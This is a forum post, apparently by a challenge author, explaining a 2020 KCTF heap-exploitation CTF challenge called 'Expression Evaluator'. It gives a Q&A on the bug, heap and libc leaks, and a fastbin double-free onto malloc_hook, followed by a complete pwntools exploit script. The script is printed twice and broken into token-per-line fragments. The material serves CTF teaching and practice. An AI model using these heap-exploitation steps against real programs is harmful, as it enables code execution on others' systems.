-
-
[原创]2020KCTF秋季赛PWN题目
-
发表于: 2020-10-13 22:47 3252
-
漏洞容易发现,利用过程比较繁琐,下面说几个关键点:
Q1 : 如何构造表达式修改g_broken变量?
A : 在一个平衡的后缀表达式后,每多加一个运算符,可以从桟底多取出一个数据。g_broken + unused + g_symbol_ptrs[21],共23个。若用小堆块来存储,预先布置的运算符会被堆头数据覆盖。考虑unsorted bin的分割。若残留的大小大于等于0x18,这这个残留的堆块上的数据会被覆盖,小于0x18的话就不会。所以最多可以布置7+16=23个运算符。同时分配0x100大小的chunk,利用高地址处的chunk的prev_size的\x00来做截断。
所以结论是:malloc一个0x100的chunk,平衡表达式的值构造为0,并且再其之后布置23个乘号。reevaluate一下,即可把所有数据清零。
Q2 : 如何leak堆地址?
A : 这个问题比较简单。在平衡表达式的后边多布置一个运算符,即可让堆指针数据参与运算,再把它show出来即可。
Q3 : 如何leak libc?
A : 利用unsorted bin的fd上有libc地址,再布置运算符,对最后一个堆块做运算,使其的value域恰好对应着该unsorted bin的fd。再show出来即可。同时注意到是以symbol_name来作为搜索的key的,所以要提前在这个unsorted bin的低地址chunk上布置上相关数据,让这些数据来作为搜索的key。
Q4 : 如何getshell?
A : 使用fastbin attack,构造0x70的chunk A,B,C。修改C为A。然后free(A),free(B),free(A)。需要注意的是如果直接free(A)并且堆上不存在0x70的fastbin的话。chunk A的fd会被清零,也就不能被索引到,也就不能再free(A)了。解决办法是先free掉一个0x70的chunk D,那么再free(A)后,A的fd(symbol_name域)变成了chunk D的地址,所以p64(&chunk_D)可以再次的free(A)了。会发现如果(&chunk_d)&0xff==0x00的话还是会失败,这种情况下重新选取一个chunk即可。
再往后是常规思路fastbin attack到malloc_hook上拿shell了。
采用https://github.com/Eadom/ctf_xinetd的方案
1
+
2
+
3
a
+
b
*
c
1
+
(
2
*
(
4
+
7
)))
1
+
2
+
3
a
+
b
*
c
1
+
(
2
*
(
4
+
7
)))
1
2
+
3
+
a b c
*
+
1
2
4
7
+
*
+
1
2
+
3
+
a b c
*
+
1
2
4
7
+
*
+
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
2020
KCTF | Expression Evaluator
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
1.Create
Symbol
2.Delete
Symbol
3.Reevaluate
Symbol
4.Show
5.Exit
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
2020
KCTF | Expression Evaluator
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
1.Create
Symbol
2.Delete
Symbol
3.Reevaluate
Symbol
4.Show
5.Exit
typedef struct {
uint64_t g_broken;
uint64_t unused;
void
*
g_symbol_ptrs[
21
];
uint64_t g_val_stack[
50
];
} G_CTX;
typedef struct {
uint64_t g_broken;
uint64_t unused;
void
*
g_symbol_ptrs[
21
];
uint64_t g_val_stack[
50
];
} G_CTX;
from
pwn
import
*
import
pdb
# p = remote('0.0.0.0',9997)
p
=
process(
'./ee'
)
def
create(name,infix):
p.sendafter(
'Your choice : '
,
'1'
)
p.sendafter(
'name : '
,name)
p.sendafter(
'Expression : '
,infix)
def
free(name):
p.sendafter(
'Your choice : '
,
'2'
)
p.sendafter(
'name : '
,name)
def
reevaluate(name):
p.sendafter(
'Your choice : '
,
'3'
)
p.sendafter(
'name : '
,name)
def
show(name):
p.sendafter(
'Your choice : '
,
'4'
)
p.sendafter(
'name : '
,name)
p.recvuntil(
'value : '
)
data
=
int
(p.recvuntil(
'\n'
)[:
-
1
])
return
data
# construct a balanced infix expression,which postifx form
# has length exactly equals to N(including the symbol_name
# and value field) and ends with operator op.
def
infix_op(N,op):
N
-
=
19
+
8
assert
(N>
=
5
)
if
(N>
=
5
and
N<
=
51
):
kN
=
3
n_list
=
[
1
for
_
in
range
(kN)]
kpoints
=
N
-
(kN
-
1
)
-
(kN
+
kN
-
2
)
-
kN
x
=
kpoints
/
/
14
y
=
kpoints
%
14
for
i
in
range
(x):
n_list[i]
+
=
14
n_list[
-
1
]
+
=
y
assert
(
sum
(n_list)
+
kN
-
1
+
kN
+
kN
-
2
=
=
N)
return
op.join([
'0'
*
x
for
x
in
n_list])
else
:
assert
(N<
=
231
)
kN
=
13
n_list
=
[
1
for
_
in
range
(kN)]
kpoints
=
N
-
(kN
-
1
)
-
(kN
+
kN
-
2
)
-
kN
x
=
kpoints
/
/
14
y
=
kpoints
%
14
for
i
in
range
(x):
n_list[i]
+
=
14
n_list[
-
1
]
+
=
y
assert
(
sum
(n_list)
+
kN
-
1
+
kN
+
kN
-
2
=
=
N)
return
op.join([
'0'
*
n
for
n
in
n_list])
# construct a balanced infix expression,which postifx form
# has exactly length N(including the symbol_name
# and value field) and valued target.
def
infix_small_number(N,target):
N
-
=
19
+
8
assert
target <
=
0x7fffffffffff
res
=
str
(target)
assert
len
(res) <
=
N
if
N<
=
16
:
res
=
'0'
*
(N
-
len
(res))
+
res
else
:
assert
N
-
len
(res) >
=
5
+
3
res
=
infix_op(N
-
len
(res)
-
3
+
27
,
'+'
)
+
'+'
+
res
return
res
create(
'a'
,infix_op(
0xf0
,
'*'
))
# avoid merge
create(
'b'
,
'1'
)
free(
'a'
)
# set '*' operators
for
i
in
range
(
0xf0
,
0xd9
,
-
1
):
create(
'a'
,infix_op(i,
'*'
))
free(
'a'
)
# set value 0
create(
'a'
,infix_small_number(
0xd9
,
0
))
# clear all data,fixing the screen
reevaluate(
'a'
)
# steps to calculate the heap addrs.
# In the meanwhile,adjust the last chunk to leak libc.
create(
'1'
,infix_op(
0xf0
,
'-'
))
free(
'1'
)
create(
'1'
,infix_small_number(
0xef
,
0xa0
+
19
))
for
i
in
range
(
2
,
22
):
if
i
=
=
19
:
# set the fake chunk's symbol_name field so it can be indexed
create(
'19'
,infix_op(
0xf0
,
'+'
))
free(
'19'
)
create(
'19'
,infix_op(
0xef
,
'+'
))
free(
'19'
)
create(
'19'
,infix_op(
0xee
,
'+'
))
else
:
create(
str
(i),infix_small_number(
0x90
,
0
))
# get heap addr
reevaluate(
'1'
)
heap_base
=
show(
'1'
)
-
0xe20
+
0xa0
+
19
-
0x60
print
(
'[*]heap_base : '
+
hex
(heap_base))
# get libc addr
free(
'20'
)
libc_base
=
show(
'+++'
)
+
0x7F7AA27D8000
-
0x7f7aa2b9cb78
print
(
'[*]libc_base : '
+
hex
(libc_base))
# reset the '20' and '21' chunk
create(
'20'
,infix_small_number(
0x90
,
0
))
free(
'1'
)
create(
'1'
,infix_op(
0xf0
,
'+'
))
free(
'1'
)
create(
'1'
,infix_small_number(
0xef
,
0xa0
+
19
))
reevaluate(
'1'
)
# get four free ptr space
free(
'21'
)
free(
'20'
)
free(
'19'
)
free(
'18'
)
# here comes the fastbin attack
create(
'18'
,infix_small_number(
0x60
,
0xaa
))
create(
'19'
,infix_small_number(
0x60
,
0xbb
))
create(
'20'
,infix_small_number(
0x60
,
0xcc
))
create(
'21'
,infix_small_number(
0x60
,
0xdd
))
# let '21' and '20' point to the same addr
free(
'1'
)
create(
'1'
,infix_op(
0xf0
,
'-'
))
free(
'1'
)
create(
'1'
,infix_small_number(
0xef
,
0x70
))
reevaluate(
'1'
)
p18
=
heap_base
+
0xc30
free(
'18'
)
free(
'20'
)
free(
'19'
)
# index by p64(p18)
free(p64(p18))
# // 283258
# // 983908
# // 987655
one
=
libc_base
+
0x4526a
malloc_hook
=
libc_base
+
0x3C4B10
create(p64(malloc_hook
-
35
),infix_small_number(
0x60
,
0
))
create(
'19'
,infix_small_number(
0x60
,
0
))
create(
'20'
,infix_small_number(
0x60
,
0
))
create(
'21'
,infix_small_number(
0x60
,one))
# trigger one gadget
free(
'19'
)
create(
'19'
,infix_small_number(
0x100
,
0
))
p.interactive()
from
pwn
import
*
import
pdb
# p = remote('0.0.0.0',9997)
p
=
process(
'./ee'
)
def
create(name,infix):
p.sendafter(
'Your choice : '
,
'1'
)
p.sendafter(
'name : '
,name)
p.sendafter(
'Expression : '
,infix)
def
free(name):
p.sendafter(
'Your choice : '
,
'2'
)
p.sendafter(
'name : '
,name)
def
reevaluate(name):
p.sendafter(
'Your choice : '
,
'3'
)
p.sendafter(
'name : '
,name)
def
show(name):
p.sendafter(
'Your choice : '
,
'4'
)
p.sendafter(
'name : '
,name)
p.recvuntil(
'value : '
)
data
=
int
(p.recvuntil(
'\n'
)[:
-
1
])
return
data
# construct a balanced infix expression,which postifx form
# has length exactly equals to N(including the symbol_name
# and value field) and ends with operator op.
def
infix_op(N,op):
N
-
=
19
+
8
assert
(N>
=
5
)
if
(N>
=
5
and
N<
=
51
):
kN
=
3
n_list
=
[
1
for
_
in
range
(kN)]
kpoints
=
N
-
(kN
-
1
)
-
(kN
+
kN
-
2
)
-
kN
x
=
kpoints
/
/
14
y
=
kpoints
%
14
for
i
in
range
(x):
n_list[i]
+
=
14
n_list[
-
1
]
+
=
y
assert
(
sum
(n_list)
+
kN
-
1
+
kN
+
kN
-
2
=
=
N)
return
op.join([
'0'
*
x
for
x
in
n_list])
else
:
assert
(N<
=
231
)
kN
=
13
n_list
=
[
1
for
_
in
range
(kN)]
kpoints
=
N
-
(kN
-
1
)
-
(kN
+
kN
-
2
)
-
kN
x
=
kpoints
/
/
14
y
=
kpoints
%
14
for
i
in
range
(x):
n_list[i]
+
=
14
n_list[
-
1
]
+
=
y
assert
(
sum
(n_list)
+
kN
-
1
+
kN
+
kN
-
2
=
=
N)
return
op.join([
'0'
*
n
for
n
in
n_list])
# construct a balanced infix expression,which postifx form
# has exactly length N(including the symbol_name
# and value field) and valued target.
def
infix_small_number(N,target):
N
-
=
19
+
8
assert
target <
=
0x7fffffffffff
res
=
str
(target)
assert
len
(res) <
=
N
if
N<
=
16
:
res
=
'0'
*
(N
-
len
(res))
+
res
else
:
assert
N
-
len
(res) >
=
5
+
3
res
=
infix_op(N
-
len
(res)
-
3
+
27
,
'+'
)
+
'+'
+
res
return
res
create(
'a'
,infix_op(
0xf0
,
'*'
))
# avoid merge
create(
'b'
,
'1'
)
free(
'a'
)
# set '*' operators
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]v8利用初探 2019 StarCTF oob 复现分析 28459
- [原创]2020KCTF秋季赛第九题wp 6663
- [原创]2020KCTF秋季赛第八题wp 6724
- [原创]2020KCTF秋季赛第三题重返地球wp 4292
- [原创]2020KCTF秋季赛PWN题目 3253